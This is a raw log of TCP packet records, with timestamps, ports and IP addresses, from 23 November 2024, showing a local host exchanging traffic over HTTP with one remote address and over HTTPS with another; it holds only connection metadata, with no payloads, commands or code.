Nov 23, 2024 20:23:20.501138926 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.501241922 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.501522064 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.501733065 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.501914024 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.501967907 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.502356052 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.502473116 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.502521992 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.503024101 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.503076077 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.503139019 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.503680944 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.503750086 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.503901005 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.504374981 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.504427910 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.504441977 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.504489899 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.505021095 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.505134106 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.505182981 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.505680084 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.505795002 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.505845070 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.506323099 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.506372929 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.506467104 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.507010937 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.507055998 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.507117987 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.507688046 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.507740974 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.507777929 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.507827997 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.508333921 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.508450031 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.508501053 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.509006023 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.509109974 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.509157896 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.509691954 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.509772062 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.509823084 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.510390043 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.510435104 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.510499001 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.511004925 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.511056900 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.511096001 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.511650085 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.511703014 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.511753082 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.511797905 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.512326956 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.512419939 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.512473106 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.512998104 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.513083935 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.513129950 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.553667068 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:20.553747892 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:20.553817034 CET	49787	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:20.554335117 CET	49787	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:20.554352045 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:20.554363012 CET	49787	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:20.554367065 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:20.558209896 CET	49791	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:20.558239937 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:20.558309078 CET	49791	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:20.558481932 CET	49791	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:20.558492899 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:20.579550982 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:20.579602003 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:20.579672098 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:20.579837084 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:20.579842091 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:20.579852104 CET	49785	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:20.579859018 CET	443	49785	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:20.581756115 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:20.581782103 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:20.581845045 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:20.581964970 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:20.581988096 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:20.587877989 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:20.588032007 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:20.588114977 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:20.588262081 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:20.588270903 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:20.588285923 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:20.588290930 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:20.590074062 CET	49793	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:20.590089083 CET	443	49793	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:20.590164900 CET	49793	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:20.590293884 CET	49793	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:20.590303898 CET	443	49793	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:20.628273010 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:20.628346920 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:20.628508091 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:20.628587961 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:20.628588915 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:20.628632069 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:20.628660917 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:20.630711079 CET	49794	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:20.630723953 CET	443	49794	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:20.630790949 CET	49794	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:20.630892992 CET	49794	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:20.630908012 CET	443	49794	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:20.652878046 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:20.654084921 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:20.654099941 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:20.654503107 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:20.654510021 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:20.670639992 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.670705080 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.670762062 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.670824051 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.670912027 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.670968056 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.671015978 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.671186924 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.671601057 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.671658039 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.671690941 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.671859980 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.672219992 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.672271967 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.672434092 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.672483921 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.672559023 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.672606945 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.673130035 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.673178911 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.673295021 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.673525095 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.673788071 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.673846960 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.673918009 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.673966885 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.674447060 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.674488068 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.674519062 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.674561024 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.675126076 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.675201893 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.675256014 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.675771952 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.675823927 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.675887108 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.675944090 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.676422119 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.676474094 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.676529884 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.676685095 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.677108049 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.677154064 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.677215099 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.677262068 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.677764893 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.677814007 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.677891970 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.677973986 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.678406000 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.678455114 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.678529978 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.678704977 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.679089069 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.679138899 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.679238081 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.679750919 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.679807901 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.679853916 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.680449963 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.680496931 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.680587053 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.680633068 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.681086063 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.681157112 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.681195974 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.681246042 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.681741953 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.681854963 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.681901932 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.682394981 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.682451010 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.682511091 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.682688951 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.683114052 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.683166981 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.683252096 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.683301926 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.683732986 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.683798075 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.683809996 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.683865070 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.684391975 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.684446096 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.684509039 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.684552908 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.685086966 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.685139894 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.685201883 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.685298920 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.685766935 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.685821056 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.685868979 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.686378956 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.686597109 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.686649084 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.687182903 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.687298059 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.687350988 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.687714100 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.687762976 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.687829971 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.688359976 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.688406944 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.688468933 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.688946962 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.689040899 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.689186096 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.689237118 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.689763069 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.689810038 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.689893961 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.689943075 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.690350056 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.690398932 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.690469980 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.690606117 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.691014051 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.691118956 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.691155910 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.691190004 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.691674948 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.691725969 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.691777945 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.691821098 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.692358017 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.692410946 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.692471027 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.692615986 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.693022013 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.693078041 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.693120956 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.693521976 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.693701029 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.693744898 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.693842888 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.693885088 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.694340944 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.694469929 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.694515944 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.695031881 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.695115089 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.695158958 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.695797920 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.695868015 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.695935011 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.696343899 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.696424007 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.696521044 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.696645975 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.697055101 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.697134972 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.697154999 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.697199106 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.697678089 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.697732925 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.697770119 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.697817087 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.698345900 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.698400021 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.698441982 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.698491096 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.699023962 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.699106932 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.699151039 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.699218988 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.699645996 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.699702024 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.699774981 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.699820042 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.700299025 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.700445890 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.700490952 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.700974941 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.701072931 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.701117992 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.701673031 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.701781988 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.701824903 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.702323914 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.702368975 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.702436924 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.702564955 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.702986002 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.703082085 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.703102112 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.703135967 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.703654051 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.703758001 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.703805923 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.703893900 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.704349995 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.704399109 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.704432964 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.704603910 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.704938889 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.705008984 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.705009937 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.705105066 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.862895966 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.862972975 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.862987041 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.863029003 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.863156080 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.863205910 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.863262892 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.863326073 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.863917112 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.863964081 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.864026070 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.864084005 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.864689112 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.864759922 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.864938021 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.864988089 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.865037918 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.865087986 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.865365982 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.865427971 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.865485907 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.865537882 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.866033077 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.866081953 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.866189003 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.866236925 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:20.866771936 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:20.866821051 CET	49783	80	192.168.2.4	185.215.113.16
